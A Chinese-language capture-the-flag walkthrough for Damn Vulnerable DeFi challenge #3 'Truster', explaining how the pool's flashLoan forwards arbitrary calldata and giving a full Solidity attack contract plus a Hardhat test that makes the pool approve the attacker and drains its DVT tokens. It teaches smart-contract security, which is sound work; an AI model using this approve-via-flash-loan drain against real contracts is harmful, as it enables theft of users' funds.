Defi安全挑战系列-Damn Vulnerable DeFi(#3 Truster)

越来越多的借贷池开始提供闪电贷款服务。在这种情况下,一个新的借贷池已经启动,提供免费的DVT代币闪电贷款服务。

该借贷池持有100万个DVT代币。你没有任何代币。

为了完成这个挑战,将借贷池中的所有代币取出。如果可能,在一个单独的交易中完成。

https://www.damnvulnerabledefi.xyz/challenges/truster/

合约细节

ERC20协议中有个 approve(address,uint256) ,调用者给参数address授权uint256额度。

TrusterLenderPool.sol合约中的function flashLoan( uint256 amount, address borrower, address target, bytes calldata data ) 参数data正好可以传递approve的字节码方式,并且方法中使用的是call方式执行字节码,这样TrusterLenderPool.sol合约授权了攻击合约的token额度,后面可以随时转币。

解决方案

创建攻击合约 AttackTruster.sol

pragma solidity ^0.8.0;

import "solmate/src/tokens/ERC20.sol";
import "./TrusterLenderPool.sol";
import "../DamnValuableToken.sol";

contract AttackTruster {
    TrusterLenderPool private trusterLenderPool;
    DamnValuableToken private damnValuableToken;

    constructor(
        address payable _trusterLenderPool,
        address payable _damnValuableToken
    ) {
        trusterLenderPool = TrusterLenderPool(_trusterLenderPool);
        damnValuableToken = DamnValuableToken(_damnValuableToken);
    }

    function attack() public {
        uint256 balance = damnValuableToken.balanceOf(
            address(trusterLenderPool)
        );
        trusterLenderPool.flashLoan(
            0,
            address(this),
            address(damnValuableToken),
            abi.encodeWithSignature(
                "approve(address,uint256)",
                address(this),
                balance
            )
        );

        damnValuableToken.transferFrom(
            address(trusterLenderPool),
            msg.sender,
            balance
        );
    }
}

truster.challenge.js

    it('Execution', async function () {
        const attackTrusterFactory = await ethers.getContractFactory("AttackTruster", player);
        const attackTruster = await attackTrusterFactory.deploy(
            pool.address,
            token.address
        )
        attackTruster.connect(player).attack();
    });